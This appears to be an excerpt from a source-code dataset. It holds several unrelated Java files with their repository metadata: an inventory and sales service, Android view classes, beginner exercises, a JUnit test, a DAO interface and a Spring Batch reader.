Float sumWeight = bslSaleInfoDetailOld.getProdSumweight() - bslProductInfo.getProdRelWeight();
//2-修改该笔详细计划
bslSaleInfoDetailOld.setProdSumnum(bslSaleInfoDetailOld.getProdSumnum()-1);//已出库数量+1
bslSaleInfoDetailOld.setProdSumweight(sumWeight);//出库质量+产品入库质量
if(sumWeight>=saleWeightL && sumWeight<=saleWeightH){
bslSaleInfoDetailOld.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
}
resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetailOld);
}
if(resultDetail<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultDetail==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"修改详细计划信息失败");
}
}
//退回完成之后插入库存变动流水表
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_未用退回);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(saleWeight);//重量
bslStockChangeDetail.setInputuser(checkuser);//录入人
bslStockChangeDetail.setPrice(price);//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库退回");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultStock==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"新增库存变动表失败");
}
//刷新销售出库通知单状态
salePlanService.updateRefreshSalePlanStatus(salePlanId);
return BSLResult.ok(prodId);
}
/**
* 产品复磅
*/
@Override
public BSLResult saleProdFb(String prodId, Float prodOutWeight) {
BslProductInfo bslProductInfo = bslProductInfoMapper.selectByPrimaryKey(prodId);
if(bslProductInfo == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该产品信息");
}
//1-产品信息改为出库待发货
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultProd==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"记录复磅信息失败");
}
return BSLResult.ok(prodId);
}
/**
* 根据编号数组查询产品信息
*/
@Override
public BSLResult getByProdIds(String[] arrays) {
BslProductInfoExample bslProductInfoExample = new BslProductInfoExample();
Criteria criteria = bslProductInfoExample.createCriteria();
List<String> lists = new ArrayList<String>();
for (String string : arrays) {
lists.add(string);
}
if(lists.size()>0){
criteria.andProdIdIn(lists);
bslProductInfoExample.setOrderByClause("`prod_id` desc");
List<BslProductInfo> selectByExample = bslProductInfoMapper.selectByExample(bslProductInfoExample);
if(selectByExample == null || selectByExample.size()<=0){
return BSLResult.build(ErrorCodeInfo.错误类型_查询无记录,"根据编号未找到产品信息");
}
return BSLResult.ok(selectByExample);
}else{
return BSLResult.build(ErrorCodeInfo.错误类型_查询无记录,"根据编号未找到产品信息");
}
}
/**
* 批量发货出库
*/
@Override
public BSLResult prodOutPl(String salePlanId, String saleSerno, String prodCheckuser, String[] arrays) {
if(arrays.length<=0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"没有需要出库的产品信息!");
}
String prodId;
for (String prodIdTmp : arrays) {
prodId = prodIdTmp;
//循环调用出库方法
BSLResult updateSaleProdOutPut = updateSaleProdOutPut(prodId,salePlanId,saleSerno,prodCheckuser,0f);
if(updateSaleProdOutPut.getStatus()!= 200){
return updateSaleProdOutPut;
}
}
return BSLResult.ok();
}
}
| 42,563 | 0.732223 | 0.724355 | 936 | 37.379272 | 29.919628 | 148 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3.257479 | false | false |
8
|
6ea6cc0844a1c0088e83080d5259d75668aab16d
| 37,340,445,693,339 |
bdcc136384798a2ef93da4c9a511a4bfb02e802f
|
/MaratonaJAVAdevdojo/src/main/java/ControleDeFluxo/Aula17_BreakContinues.java
|
9d7642aebd667369fcf33f9cb174fa3f71c433bc
|
[] |
no_license
|
feliperx/dataStructure1-OOP-compilers
|
https://github.com/feliperx/dataStructure1-OOP-compilers
|
c4d8608ea869c33d16b9cd134529370b6e007a73
|
d4e7121d22e1685fccd851a5ff3ce7e78991f6e0
|
refs/heads/master
| 2023-03-21T03:52:36.406000 | 2021-03-11T19:35:00 | 2021-03-11T19:35:00 | 346,814,195 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/**
* Informe em até quantas vezes pode parcelar o preco de um carro
* mas as parcelas nao podem ser menor que 1000
*/
package ControleDeFluxo;
import javax.swing.JOptionPane;
/**
*
* @author felipex
*/
public class Aula17_BreakContinues {
public static void main(String[] args) {
float valorTotal = Float.parseFloat(JOptionPane.showInputDialog("Informe o valor total do carro: "));
for (int parcela = (int) valorTotal; parcela >= 1; parcela--) {
float valorParcelado = valorTotal/parcela;
if(valorParcelado <= 1000){
continue;
}
System.out.println( parcela + " parcelas de R$ " + valorParcelado);
}
/*for (int parcela = 1; parcela <= valorTotal; parcela++) {
float valorParcelado = valorTotal/parcela;
if(valorParcelado >= 1000){
System.out.println( parcela + " parcelas de R$ " + valorParcelado);
}
else{
JOptionPane.showMessageDialog(null, "Saiu do laço!");
break;
}
}*/
}
}
|
UTF-8
|
Java
| 1,179 |
java
|
Aula17_BreakContinues.java
|
Java
|
[
{
"context": "import javax.swing.JOptionPane;\n\n/**\n *\n * @author felipex\n */\npublic class Aula17_BreakContinues {\n\n pub",
"end": 206,
"score": 0.9994922280311584,
"start": 199,
"tag": "USERNAME",
"value": "felipex"
}
] | null |
[] |
/**
* Informe em até quantas vezes pode parcelar o preco de um carro
* mas as parcelas nao podem ser menor que 1000
*/
package ControleDeFluxo;
import javax.swing.JOptionPane;
/**
*
* @author felipex
*/
public class Aula17_BreakContinues {
public static void main(String[] args) {
float valorTotal = Float.parseFloat(JOptionPane.showInputDialog("Informe o valor total do carro: "));
for (int parcela = (int) valorTotal; parcela >= 1; parcela--) {
float valorParcelado = valorTotal/parcela;
if(valorParcelado <= 1000){
continue;
}
System.out.println( parcela + " parcelas de R$ " + valorParcelado);
}
/*for (int parcela = 1; parcela <= valorTotal; parcela++) {
float valorParcelado = valorTotal/parcela;
if(valorParcelado >= 1000){
System.out.println( parcela + " parcelas de R$ " + valorParcelado);
}
else{
JOptionPane.showMessageDialog(null, "Saiu do laço!");
break;
}
}*/
}
}
| 1,179 | 0.541206 | 0.527613 | 45 | 25.155556 | 27.130102 | 109 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | false | false |
8
|
cab685a1d0f93cc65b89dde0031305084b2619bf
| 39,298,950,759,019 |
c00ed5a2134c35b64590a59f81b3dc5e5733e725
|
/app/src/main/java/com/wjc/jcapp/bridge/LoginRequestViewModel.java
|
5c559123bd568e7905e0e854ca4eda15ad3aad4a
|
[] |
no_license
|
RenHaiRenWjc/JcApp
|
https://github.com/RenHaiRenWjc/JcApp
|
0d42161e78e5e0a5ef678797a4330ebc51c47e7a
|
bd998779cb4764c4b4e00d6285a9a4a973758918
|
refs/heads/master
| 2022-11-05T23:54:18.856000 | 2020-06-21T17:45:04 | 2020-06-21T17:45:04 | 273,825,996 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.wjc.jcapp.bridge;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.MutableLiveData;
import androidx.lifecycle.ViewModel;
import com.wjc.jcapp.data.DataRepository;
import com.wjc.jcapp.data.User;
/**
* ClassName: com.wjc.jcapp.bridge
* Description:
* JcChen on 2020.06.21.6:45 PM
*/
public class LoginRequestViewModel extends ViewModel {
private MutableLiveData<String> tokenLiveData;
public LiveData<String> getTokenLiveData() {
if (tokenLiveData == null) {
tokenLiveData = new MutableLiveData<>();
}
return tokenLiveData;
}
public void requestLogin(User user) {// user相当于请求体
DataRepository.getInstance().login(user, tokenLiveData);
}
}
|
UTF-8
|
Java
| 699 |
java
|
LoginRequestViewModel.java
|
Java
|
[] | null |
[] |
package com.wjc.jcapp.bridge;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.MutableLiveData;
import androidx.lifecycle.ViewModel;
import com.wjc.jcapp.data.DataRepository;
import com.wjc.jcapp.data.User;
/**
* ClassName: com.wjc.jcapp.bridge
* Description:
* JcChen on 2020.06.21.6:45 PM
*/
public class LoginRequestViewModel extends ViewModel {
private MutableLiveData<String> tokenLiveData;
public LiveData<String> getTokenLiveData() {
if (tokenLiveData == null) {
tokenLiveData = new MutableLiveData<>();
}
return tokenLiveData;
}
public void requestLogin(User user) {// user相当于请求体
DataRepository.getInstance().login(user, tokenLiveData);
}
}
| 699 | 0.762737 | 0.746725 | 28 | 23.535715 | 19.846703 | 58 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.964286 | false | false |
8
|
39e443681a5aa7d37be6ae63695ac00b2e902ddf
| 13,554,916,835,429 |
2e084ef593b8d33c83eb4b8f8c2fe88fda27047a
|
/crud/src/com/luolh/blog/factory/ServiceFactory.java
|
473fe63d5959d8f9cfeeff76c20c7bca3ebcf880
|
[] |
no_license
|
luoluhui/repository
|
https://github.com/luoluhui/repository
|
53f60836fcadde12bbe8370fab169ab3eb52362c
|
445e0bba64b607681abceac47d57d030ec484816
|
refs/heads/master
| 2020-03-19T14:20:07.525000 | 2018-06-09T11:54:21 | 2018-06-09T11:54:21 | 136,617,873 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.luolh.blog.factory;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
import com.luolh.blog.service.BlogService;
/**
* service工厂类(创建service实例)
* @author LuoLH
* @since 20180601
*/
public class ServiceFactory {
/**
* properties文件路径
* */
private static final String PROPERTIES_PATH = "service.properties";
/**
* properties文件路径
* */
private static final String SERVICE_CLASSNAME = "com.luolh.blog.service.BlogService";
/**
* properties配置文件
* */
private static Properties properties = null;
//用于加载配置文件
static {
try {
InputStream inputStream = ServiceFactory.class.getClassLoader().getResourceAsStream(PROPERTIES_PATH);
properties = new Properties();
properties.load(inputStream);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
/**
* 获取BlogService实例
* @return BlogService实例
*/
public static BlogService getServiceInstance() {
String blogServiceName = properties.getProperty(SERVICE_CLASSNAME);
try {
Class<?> clazz = Class.forName(blogServiceName);
return (BlogService) clazz.newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
|
UTF-8
|
Java
| 1,316 |
java
|
ServiceFactory.java
|
Java
|
[
{
"context": "ce;\r\n\r\n/**\r\n * service工厂类(创建service实例)\r\n * @author LuoLH\r\n * @since 20180601\r\n */\r\npublic class ServiceFac",
"end": 220,
"score": 0.999443531036377,
"start": 215,
"tag": "USERNAME",
"value": "LuoLH"
}
] | null |
[] |
package com.luolh.blog.factory;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
import com.luolh.blog.service.BlogService;
/**
* service工厂类(创建service实例)
* @author LuoLH
* @since 20180601
*/
public class ServiceFactory {
/**
* properties文件路径
* */
private static final String PROPERTIES_PATH = "service.properties";
/**
* properties文件路径
* */
private static final String SERVICE_CLASSNAME = "com.luolh.blog.service.BlogService";
/**
* properties配置文件
* */
private static Properties properties = null;
//用于加载配置文件
static {
try {
InputStream inputStream = ServiceFactory.class.getClassLoader().getResourceAsStream(PROPERTIES_PATH);
properties = new Properties();
properties.load(inputStream);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
/**
* 获取BlogService实例
* @return BlogService实例
*/
public static BlogService getServiceInstance() {
String blogServiceName = properties.getProperty(SERVICE_CLASSNAME);
try {
Class<?> clazz = Class.forName(blogServiceName);
return (BlogService) clazz.newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
| 1,316 | 0.679775 | 0.673355 | 55 | 20.654545 | 22.686174 | 104 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.418182 | false | false |
8
|
b42c8dbdd9dc3800927f8413ec700ebacabdbbd3
| 13,554,916,837,704 |
f9c72ec9b5aed50422649291d6e92be04e9f8b0f
|
/CoreJava/src/Lab_Unit_4/Lab_4_3.java
|
38ada3eab32876a6a193d3167d4bb76bfd711d05
|
[] |
no_license
|
sarwarali847/CORE_JAVA
|
https://github.com/sarwarali847/CORE_JAVA
|
c19240c72e9a347f0dec3706340700755cd809e5
|
bdc27ede73e3d14eb44354fb4f0ace228b3f84ef
|
refs/heads/master
| 2023-08-16T00:46:20.610000 | 2021-10-25T04:55:13 | 2021-10-25T04:55:13 | 416,643,248 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*4.3 Create class named as ‘a’ and create a sub class ‘b’. Which is extends from
class ‘a’. And use these classes in ‘inherit’ class. */
package Lab_Unit_4;
public class Lab_4_3 {
public static void main(String[] args) {
b B=new b();
B.id=53;
B.dept_no=8732;
B.name="Sarwar Shaikh";
B.display();
B.show();
}
}
class a{
int id;
int dept_no;
void display() {
System.out.println("ID:"+id+", Department no.:"+dept_no);
}
}
class b extends a{
String name;
void show() {
System.out.println("Name:"+name);
}
}
|
WINDOWS-1258
|
Java
| 556 |
java
|
Lab_4_3.java
|
Java
|
[
{
"context": "B=new b();\n\t\tB.id=53;\n\t\tB.dept_no=8732;\n\t\tB.name=\"Sarwar Shaikh\";\n\t\tB.display();\n\t\tB.show();\n\t\t\n\n\t}\n\n}\n\nclass a{\n",
"end": 294,
"score": 0.9998700618743896,
"start": 281,
"tag": "NAME",
"value": "Sarwar Shaikh"
}
] | null |
[] |
/*4.3 Create class named as ‘a’ and create a sub class ‘b’. Which is extends from
class ‘a’. And use these classes in ‘inherit’ class. */
package Lab_Unit_4;
public class Lab_4_3 {
public static void main(String[] args) {
b B=new b();
B.id=53;
B.dept_no=8732;
B.name="<NAME>";
B.display();
B.show();
}
}
class a{
int id;
int dept_no;
void display() {
System.out.println("ID:"+id+", Department no.:"+dept_no);
}
}
class b extends a{
String name;
void show() {
System.out.println("Name:"+name);
}
}
| 549 | 0.618519 | 0.598148 | 34 | 14.852942 | 18.89465 | 81 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.176471 | false | false |
8
|
1fc5eb1e7a83ef58984b90995c9bc75f86c793f2
| 13,554,916,834,949 |
d525a65a0cb40191d47cf5c9b32296e189d274f3
|
/app/src/main/java/com/ypl/selectlocalpicture/selectPic/SelectMultiplyPicPreviewActivity.java
|
f13362ee7f023bf2381a20e64b8246ee4379ec1c
|
[] |
no_license
|
faithGlory/selectLocalPicture
|
https://github.com/faithGlory/selectLocalPicture
|
a048e86e55d93db10f01e9d3aa1206955d1142c2
|
7445f12fc1beba04a1a50acd6af81343e17ffd9e
|
refs/heads/master
| 2018-11-27T11:00:59.405000 | 2018-09-10T03:12:43 | 2018-09-10T03:12:43 | 147,475,814 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.ypl.selectlocalpicture.selectPic;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.view.PagerAdapter;
import android.support.v4.view.ViewPager;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import com.bumptech.glide.Glide;
import com.ypl.selectlocalpicture.R;
import java.util.ArrayList;
/**
* Created by bill on 2018/7/22.
* 多张图片预览大图
*/
public class SelectMultiplyPicPreviewActivity extends AppCompatActivity implements View.OnClickListener {
public static String PICS = "pics";
private ViewPager previewPager;
private PreviewPagerAdapter previewPagerAdapter;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_select_preview_layout);
initView();
initData();
initClick();
}
private void initView() {
previewPager = findViewById(R.id.selectPicPrevewPager);
}
private void initData() {
ArrayList<MultPicsMudule> pics = (ArrayList<MultPicsMudule>) getIntent().getSerializableExtra(PICS);
if (previewPagerAdapter == null) {
previewPagerAdapter = new PreviewPagerAdapter(pics);
previewPager.setAdapter(previewPagerAdapter);
} else previewPagerAdapter.notifyDataSetChanged();
}
private void initClick() {
findViewById(R.id.selectPicDoneTv).setOnClickListener(this);
}
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.selectPicDoneTv: //回调当前选择的图片
break;
}
}
class PreviewPagerAdapter extends PagerAdapter {
private ArrayList<MultPicsMudule> datas = new ArrayList<>();
PreviewPagerAdapter(ArrayList<MultPicsMudule> pics) {
this.datas = pics;
}
@Override
public Object instantiateItem(ViewGroup container, int position) {
ImageView imageView = new ImageView(getApplicationContext());
Glide.with(getApplicationContext()).load(datas.get(position).getPath()).into(imageView);
container.addView(imageView);
return imageView;
}
@Override
public boolean isViewFromObject(View view, Object object) {
return view == object;
}
@Override
public int getCount() {
return datas.size();
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
container.removeView((View) object);
}
}
}
|
UTF-8
|
Java
| 2,758 |
java
|
SelectMultiplyPicPreviewActivity.java
|
Java
|
[
{
"context": "R;\n\nimport java.util.ArrayList;\n\n/**\n * Created by bill on 2018/7/22.\n * 多张图片预览大图\n */\npublic class Select",
"end": 466,
"score": 0.9920785427093506,
"start": 462,
"tag": "USERNAME",
"value": "bill"
}
] | null |
[] |
package com.ypl.selectlocalpicture.selectPic;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.view.PagerAdapter;
import android.support.v4.view.ViewPager;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import com.bumptech.glide.Glide;
import com.ypl.selectlocalpicture.R;
import java.util.ArrayList;
/**
* Created by bill on 2018/7/22.
* 多张图片预览大图
*/
public class SelectMultiplyPicPreviewActivity extends AppCompatActivity implements View.OnClickListener {
public static String PICS = "pics";
private ViewPager previewPager;
private PreviewPagerAdapter previewPagerAdapter;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_select_preview_layout);
initView();
initData();
initClick();
}
private void initView() {
previewPager = findViewById(R.id.selectPicPrevewPager);
}
private void initData() {
ArrayList<MultPicsMudule> pics = (ArrayList<MultPicsMudule>) getIntent().getSerializableExtra(PICS);
if (previewPagerAdapter == null) {
previewPagerAdapter = new PreviewPagerAdapter(pics);
previewPager.setAdapter(previewPagerAdapter);
} else previewPagerAdapter.notifyDataSetChanged();
}
private void initClick() {
findViewById(R.id.selectPicDoneTv).setOnClickListener(this);
}
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.selectPicDoneTv: //回调当前选择的图片
break;
}
}
class PreviewPagerAdapter extends PagerAdapter {
private ArrayList<MultPicsMudule> datas = new ArrayList<>();
PreviewPagerAdapter(ArrayList<MultPicsMudule> pics) {
this.datas = pics;
}
@Override
public Object instantiateItem(ViewGroup container, int position) {
ImageView imageView = new ImageView(getApplicationContext());
Glide.with(getApplicationContext()).load(datas.get(position).getPath()).into(imageView);
container.addView(imageView);
return imageView;
}
@Override
public boolean isViewFromObject(View view, Object object) {
return view == object;
}
@Override
public int getCount() {
return datas.size();
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
container.removeView((View) object);
}
}
}
| 2,758 | 0.669604 | 0.665932 | 91 | 28.934067 | 26.561892 | 108 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.43956 | false | false |
8
|
d4ab946ccc889266f6d7168b122ae4fc3c2c100e
| 39,178,691,678,284 |
7ea094a0385c471b42bac0ceed2c11a3f62bcb1e
|
/src/edu/oit/lesson3/ReverseStringTest.java
|
86e3a59a9ab9f7ff504b16a5bb334c95fd9c4f81
|
[] |
no_license
|
danieloit/ITSE500_wenduo
|
https://github.com/danieloit/ITSE500_wenduo
|
a98c111b383bb98db81ed0d556226e3ad3e5f372
|
5ba7e13560b95838c50dcb3b0dd68ce909b77f49
|
refs/heads/master
| 2021-01-20T02:41:37.767000 | 2017-06-19T04:28:49 | 2017-06-19T04:28:49 | 89,437,819 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package edu.oit.lesson3;
import static org.junit.Assert.*;
import org.junit.Test;
public class ReverseStringTest {
@Test
public void test() {
assertEquals(ReverseString.reverseString("HelloWorld"),"dlroWolleH");
assertEquals(ReverseString.reverseString("April 4th, 1983"),"3891 ,ht4 lirpA");
assertEquals(ReverseString.reverseString("code$&*/"),"/*&$edoc");
}
}
|
UTF-8
|
Java
| 421 |
java
|
ReverseStringTest.java
|
Java
|
[
{
"context": "Equals(ReverseString.reverseString(\"HelloWorld\"),\"dlroWolleH\");\n assertEquals(ReverseString.reverseStri",
"end": 228,
"score": 0.7856671214103699,
"start": 218,
"tag": "USERNAME",
"value": "dlroWolleH"
}
] | null |
[] |
package edu.oit.lesson3;
import static org.junit.Assert.*;
import org.junit.Test;
public class ReverseStringTest {
@Test
public void test() {
assertEquals(ReverseString.reverseString("HelloWorld"),"dlroWolleH");
assertEquals(ReverseString.reverseString("April 4th, 1983"),"3891 ,ht4 lirpA");
assertEquals(ReverseString.reverseString("code$&*/"),"/*&$edoc");
}
}
| 421 | 0.655582 | 0.629454 | 18 | 22.388889 | 27.676983 | 87 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.611111 | false | false |
8
|
da20745f4c65261f985072618f386c3589067ee8
| 21,543,556,022,530 |
5b7aaa41a62fdde90b4051b9bbd776257aa13f4d
|
/src/test/java/com/aceproject/scripttest/ApplicationTest.java
|
00d7817c23eb4260b9c9dba120cd15697395ab5e
|
[] |
no_license
|
aceprojectcorp/sciprt-performance-test
|
https://github.com/aceprojectcorp/sciprt-performance-test
|
3f430867ba131a83d68c35294b3971ad04e29759
|
12642ed589a52912588751241bc8c644597d2d01
|
refs/heads/master
| 2020-04-06T03:32:04.054000 | 2016-06-23T01:23:04 | 2016-06-23T01:23:04 | 61,762,426 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.aceproject.scripttest;
import org.junit.Test;
/**
* Unit test for simple App.
*/
public class ApplicationTest {
@Test
public void test() throws Exception {
// given
}
}
|
UTF-8
|
Java
| 191 |
java
|
ApplicationTest.java
|
Java
|
[] | null |
[] |
package com.aceproject.scripttest;
import org.junit.Test;
/**
* Unit test for simple App.
*/
public class ApplicationTest {
@Test
public void test() throws Exception {
// given
}
}
| 191 | 0.691099 | 0.691099 | 14 | 12.642858 | 13.859536 | 38 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false |
8
|
cc17a584452817cc6ce9cb516fdbcd5f0bccebea
| 38,757,784,918,634 |
d209f774c105097b9969b80715c4e04e597379dd
|
/target/generated-sources/annotations/com/consesionariavehiculo/ConcesionariaVehiculo/entidades/Vehiculoremolque_.java
|
3db5a23c30daa897d1ec1a32387e03130ffc1330
|
[] |
no_license
|
debiig92/springbootbad
|
https://github.com/debiig92/springbootbad
|
a3750e66be008348d1d93f0da2e42ab2b12ba95e
|
f048a7892af18a30fec79a41e87e54aa56a4a6dd
|
refs/heads/master
| 2021-07-14T21:12:55.648000 | 2017-10-19T06:41:41 | 2017-10-19T06:41:41 | 107,506,660 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.consesionariavehiculo.ConcesionariaVehiculo.entidades;
import com.consesionariavehiculo.ConcesionariaVehiculo.entidades.Entsalveh;
import javax.annotation.Generated;
import javax.persistence.metamodel.CollectionAttribute;
import javax.persistence.metamodel.SingularAttribute;
import javax.persistence.metamodel.StaticMetamodel;
@Generated(value="EclipseLink-2.6.1.v20150605-rNA", date="2017-10-17T21:14:12")
@StaticMetamodel(Vehiculoremolque.class)
public class Vehiculoremolque_ {
public static volatile CollectionAttribute<Vehiculoremolque, Entsalveh> entsalvehCollection;
public static volatile SingularAttribute<Vehiculoremolque, String> placarem;
public static volatile SingularAttribute<Vehiculoremolque, Integer> idtipovehrem;
}
|
UTF-8
|
Java
| 764 |
java
|
Vehiculoremolque_.java
|
Java
|
[] | null |
[] |
package com.consesionariavehiculo.ConcesionariaVehiculo.entidades;
import com.consesionariavehiculo.ConcesionariaVehiculo.entidades.Entsalveh;
import javax.annotation.Generated;
import javax.persistence.metamodel.CollectionAttribute;
import javax.persistence.metamodel.SingularAttribute;
import javax.persistence.metamodel.StaticMetamodel;
@Generated(value="EclipseLink-2.6.1.v20150605-rNA", date="2017-10-17T21:14:12")
@StaticMetamodel(Vehiculoremolque.class)
public class Vehiculoremolque_ {
public static volatile CollectionAttribute<Vehiculoremolque, Entsalveh> entsalvehCollection;
public static volatile SingularAttribute<Vehiculoremolque, String> placarem;
public static volatile SingularAttribute<Vehiculoremolque, Integer> idtipovehrem;
}
| 764 | 0.848168 | 0.815445 | 17 | 44 | 32.927727 | 96 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.764706 | false | false |
8
|
e5429067ec0b589fa32fcc2f3c81d27a568b4128
| 38,517,266,726,875 |
a811a0bf602dd2055e5867bc8169250c608e69ec
|
/src/main/java/com/fdchen/xiyin/dao/MessageDao.java
|
88bcb466c49961dd5689ba004dba3f24236656a6
|
[] |
no_license
|
CCSemicircle/XiYin_BackEnd
|
https://github.com/CCSemicircle/XiYin_BackEnd
|
faac27e995e87f13a24eb1e330cde5ab8752d36a
|
99ec9753f87580d8a013bbc758fc87d3708c5986
|
refs/heads/master
| 2023-03-24T19:29:09.476000 | 2021-03-01T09:16:45 | 2021-03-01T09:16:45 | 343,148,311 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.fdchen.xiyin.dao;
import com.fdchen.xiyin.entity.Message;
import org.springframework.stereotype.Repository;
import java.util.List;
@Repository
public interface MessageDao {
// 添加信息
public int add(Message msg);
// 修改信息状态
public int update(int uid, int fromUid);
// 检索与指定用户的聊天信息
public List<Message> findChatMsgList(int fromUid, int toUid);
// 检索当前用户最近的所有聊天信息
public List<Message> findMsgList(int uid);
}
|
UTF-8
|
Java
| 529 |
java
|
MessageDao.java
|
Java
|
[] | null |
[] |
package com.fdchen.xiyin.dao;
import com.fdchen.xiyin.entity.Message;
import org.springframework.stereotype.Repository;
import java.util.List;
@Repository
public interface MessageDao {
// 添加信息
public int add(Message msg);
// 修改信息状态
public int update(int uid, int fromUid);
// 检索与指定用户的聊天信息
public List<Message> findChatMsgList(int fromUid, int toUid);
// 检索当前用户最近的所有聊天信息
public List<Message> findMsgList(int uid);
}
| 529 | 0.720879 | 0.720879 | 23 | 18.782608 | 19.260134 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.434783 | false | false |
8
|
c9c70885bae2455d8877ea9decef824dc2d59aa7
| 36,094,905,186,874 |
49d9e320cd08ecb438bad7935d88d9fb6709a459
|
/src/main/java/com/poc/bootbatch/email/EmailSenderReader.java
|
c72359aa9dec504891c5b3a4be39fcaa5ecd53a3
|
[] |
no_license
|
sabarnath/spring-boot-batch-demo
|
https://github.com/sabarnath/spring-boot-batch-demo
|
9705ea6106befca20af49586b2668f70785e48c7
|
32e406375843d6d4e58fdde823669ca45d6d527a
|
refs/heads/master
| 2020-07-04T02:15:51.281000 | 2016-11-28T13:35:08 | 2016-11-28T13:35:08 | 74,217,904 | 0 | 0 | null | false | 2019-12-11T11:42:32 | 2016-11-19T15:46:28 | 2016-11-19T16:10:49 | 2019-12-11T11:42:26 | 21 | 0 | 0 | 1 |
Java
| false | false |
package com.poc.bootbatch.email;
import java.util.ArrayList;
import java.util.List;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.batch.item.ItemReader;
public class EmailSenderReader implements ItemReader<List<String>> {
private static final Logger log = LoggerFactory.getLogger(EmailSenderReader.class);
private static boolean collected = false;
public List<String> read() {
List<String> emailTaskLogIds = new ArrayList<>();
if (!collected) {
try {
collected = true;
log.info("Enter into EmailSenderReader....");
} catch (Exception e) {
log.error("Error in EmailSenderReader ", e);
}
} else {
collected = false;
return null;
}
return emailTaskLogIds;
}
}
|
UTF-8
|
Java
| 918 |
java
|
EmailSenderReader.java
|
Java
|
[] | null |
[] |
package com.poc.bootbatch.email;
import java.util.ArrayList;
import java.util.List;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.batch.item.ItemReader;
public class EmailSenderReader implements ItemReader<List<String>> {
private static final Logger log = LoggerFactory.getLogger(EmailSenderReader.class);
private static boolean collected = false;
public List<String> read() {
List<String> emailTaskLogIds = new ArrayList<>();
if (!collected) {
try {
collected = true;
log.info("Enter into EmailSenderReader....");
} catch (Exception e) {
log.error("Error in EmailSenderReader ", e);
}
} else {
collected = false;
return null;
}
return emailTaskLogIds;
}
}
| 918 | 0.582789 | 0.58061 | 34 | 25 | 22.485289 | 87 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.470588 | false | false |
8
|
3ffbbb4fcf780a67b4a6e1d7e3fe9c6a43600ffb
| 35,381,940,614,145 |
a392a05f837fbc3193a44f94133d17efdf9e076c
|
/src/Unicordoba/Registro_Control/Base_de_Datos/Controlador/SedeJpaController.java
|
6ddaad458b790f8611a4ee910a71ac54dcd731c9
|
[] |
no_license
|
AFelipeRodriguezF93/R-C_Unicor_Lorica
|
https://github.com/AFelipeRodriguezF93/R-C_Unicor_Lorica
|
028727b59bb8896206462842d76886a2d66ea5d1
|
d748c7c71a33b8dd8b61210842fd1b2bbc1c1fe1
|
refs/heads/master
